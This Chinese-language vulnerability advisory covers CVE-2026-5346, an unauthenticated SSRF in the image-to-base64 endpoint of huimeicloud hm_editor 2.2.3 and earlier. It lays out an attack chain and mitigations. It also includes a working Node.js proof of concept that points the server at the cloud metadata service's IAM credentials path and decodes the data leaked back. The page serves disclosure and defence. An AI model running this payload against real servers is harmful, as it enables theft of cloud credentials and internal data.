IPBUF安全漏洞报告
English
CVE-2026-5346 CVSS 7.3 高危

CVE-2026-5346: huimeicloud hm_editor 存在SSRF漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-5346
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
huimeicloud hm_editor

相关标签

SSRFCVE-2026-5346huimeicloudhm_editor服务端请求伪造高危漏洞

漏洞概述

huimeicloud hm_editor 2.2.3及之前版本中的`src/mcp-server.js`文件存在服务端请求伪造(SSRF)漏洞。该漏洞影响`image-to-base64`端点组件中的`client.get`函数。由于未对用户输入的`url`参数进行严格过滤,攻击者可远程操纵该参数诱导服务器向内网或任意地址发起请求。目前该漏洞利用细节已公开,厂商尚未作出响应。

技术细节

该漏洞的核心在于huimeicloud hm_editor在实现图片转Base64功能时,直接将用户控制的`url`参数传递给了后端的HTTP请求处理函数(位于`src/mcp-server.js`中的`client.get`)。程序缺乏对目标URL的有效性校验,未实施内网IP地址(如127.0.0.1, 192.168.x.x等)或本地回环地址的访问控制。攻击者可以通过构造恶意的URL(例如指向云元数据服务或内网管理后台),利用服务端的网络身份发起请求。成功利用该漏洞可导致内网端口扫描、敏感信息泄露(如内部API响应数据)以及对内部系统的进一步攻击,CVSS 3.1评分为7.3(高危)。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用huimeicloud hm_editor 2.2.3或更早版本,并定位到`image-to-base64`接口。
STEP 2
构造载荷
攻击者构造包含恶意URL的请求参数,该URL指向内网敏感资源(如127.0.0.1或云元数据服务)。
STEP 3
发送请求
攻击者向受害服务器发送包含恶意`url`参数的POST或GET请求。
STEP 4
服务端请求伪造
服务器端`client.get`函数解析参数,并未检查URL合法性,直接向内网目标发起HTTP请求。
STEP 5
信息泄露
服务器获取内网资源的响应,将其转换为Base64格式并返回给攻击者,造成敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-5346: SSRF in huimeicloud hm_editor // Target component: image-to-base64 Endpoint // Description: Sending a malicious URL to the server to force it to fetch internal resources. const axios = require('axios'); async function checkSSRF(targetUrl) { // The vulnerable endpoint accepts a 'url' parameter const endpoint = `${targetUrl}/api/image-to-base64`; // Malicious payload targeting internal metadata service (common in cloud envs) // Replace with internal IPs like http://127.0.0.1:8080 for local testing const maliciousUrl = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'; const payload = { url: maliciousUrl }; try { console.log(`[+] Sending request to ${endpoint} with URL: ${maliciousUrl}`); const response = await axios.post(endpoint, payload); // If successful, the server returns the base64 encoded content of the internal URL if (response.data && response.data.content) { console.log('[+] Exploit successful! Leaked data (Base64):'); console.log(response.data.content); // Decoding example const decoded = Buffer.from(response.data.content, 'base64').toString('utf-8'); console.log('[+] Decoded content:'); console.log(decoded); } else { console.log('[-] Request sent but no sensitive data returned or format different.'); } } catch (error) { console.error('[-] Request failed:', error.message); } } // Usage: node poc.js http://localhost:3000 // checkSSRF(process.argv[2]);

影响范围

huimeicloud hm_editor <= 2.2.3

防御指南

临时缓解措施
在官方修复补丁发布前,建议通过防火墙或安全组规则严格限制服务器对外发起的HTTP/HTTPS请求,禁止访问内网段及元数据服务IP。同时,可以在WAF(Web应用防火墙)层面部署规则,检测并拦截请求参数中包含内网IP特征或`file://`等协议的流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表